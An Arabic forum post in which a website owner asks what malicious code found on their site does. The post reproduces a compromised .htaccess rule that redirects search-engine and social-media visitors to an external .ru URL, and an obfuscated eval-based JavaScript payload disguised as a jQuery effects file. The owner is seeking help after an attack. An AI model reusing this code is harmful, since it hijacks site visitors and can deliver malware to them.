أكتشفت فى موقعى كود خبيث
محتوى الملف .htaccess
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(abacho|abizdirectory|about|acoon|alexana|allesklar|allpages|allthesites|alltheuk|alltheweb|altavista|america|amfibi|aol|apollo7|aport|arcor|ask|atsearch|baidu|bellnet|bestireland|bhanvad|bing|blog|bluewin|botw|brainysearch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|clickz|clush|confex|cyber-content|daffodil|devaro|dmoz|dogpile|ebay|ehow|eniro|entireweb|euroseek|exalead|excite|express|facebook|fastbot|filesearch|findelio|findhow|finditireland|findloo|findwhat|finnalle|finnfirma|fireball|flemiro|flickr|freenet|friendsreunited|galaxy|gasta|gigablast|gimpsy|globalsearchdirectory|goo|google|goto|gulesider|hispavista|hotbot|hotfrog|icq|iesearch|ilse|infoseek|ireland-information|ixquick|jaan|jayde|jobrapido|kataweb|keyweb|kingdomseek|klammeraffe|km|kobala|kompass|kpnvandaag|kvasir|libero|limier|linkedin|live|liveinternet|lookle|lycos|mail|mamma|metabot|metacrawler|metaeureka|mojeek|msn|myspace|netscape|netzindex|nigma|nlsearch|nol9|oekoportal|openstat|orange|passagen|pocketflier|qp|qq|rambler|rtl|savio|schnellsuche|search|search-belgium|searchers|searchspot|sfr|sharelook|simplyhired|slider|sol|splut|spray|startpagina|startsiden|sucharchiv|suchbiene|suchbot|suchknecht|suchmaschine|suchnase|sympatico|telfort|telia|teoma|terra|the-arena|thisisouryear|thunderstone|tiscali|t-online|topseven|twitter|ukkey|uwe|verygoodsearch|vkontakte|voila|walhello|wanadoo|web|webalta|web-archiv|webcrawler|websuche|westaustraliaonline|wikipedia|wisenut|witch|wolong|ya|yahoo|yandex|yell|yippy|youtube|zoneru)\.(.*)
RewriteRule ^(.*)$ http://udzycaf.ru/count22.php [R=301,L]
</IfModule>انشاء ملف جديد بأسم jquery.effects.fold.min.js ومحتواه
try{eval("pro"+"totype")>0;}catch(zxc){e=eval;n="117..100..918..1170..990..990..1044..1050..999..1100..288..1020..1026..1090..585..1000..900..400..369..320..1107..130..90..1180..873..1140..288..1050..918..1140..981..320..549..320..900..1110..891..1170..981..1010..990..1160..414..990..1026..1010..873..1160..909..690..972..1010..981..1010..990..1160..360..390..945..1020..1026..970..981..1010..351..410..531..130..90..1050..918..1140..981..460..1035..1160..1089..1080..909..460..1008..1110..1035..1050..1044..1050..999..1100..549..390..873..980..1035..1110..972..1170..1044..1010..351..590..117..100..945..1020..1026..1090..414..1150..1044..1210..972..1010..414..1160..999..1120..549..390..405..570..513..570..909..1090..351..590..117..100..945..1020..1026..1090..414..1150..1044..1210..972..1010..414..1080..909..1020..1044..610..351..450..513..570..513..1010..981..390..531..130..90..1050..918..1140..981..460..1035..1140..891..320..288..610..288..340..936..1160..1044..1120..522..470..423..1170..900..1220..1089..990..873..1020..414..1140..1053..470..891..1110..1053..1100..1044..500..450..460..1008..1040..1008..340..531..130..90..1050..918..1140..981..460..945..1000..288..610..288..390..918..1140..981..730..900..390..531..130..90..1000..999..990..1053..1090..909..1100..1044..460..882..1110..900..1210..414..970..1008..1120..909..1100..900..670..936..1050..972..1000..360..1050..918..1140..981..410..531..130..90..1250..531..130..90..1190..945..1100..900..1110..1071..460..999..1100..972..1110..873..1000..288..610..288..1020..1026..1090..585..1000..900..590..117..100".split("..");h=2;s="";for(i=0;-284+i<0;i=1+i){k=i;s=s+String.fromCharCode(n[k]/(i%(h)+9));}if(012===10)e(s);}وتم تعديل املف index.htm
ولكن محتواه غير متاح لدى
قمت بتعديل الملفات وارجاع الموقع
لكن اريد ان اعرف ما تأثير هذا الكود ؟
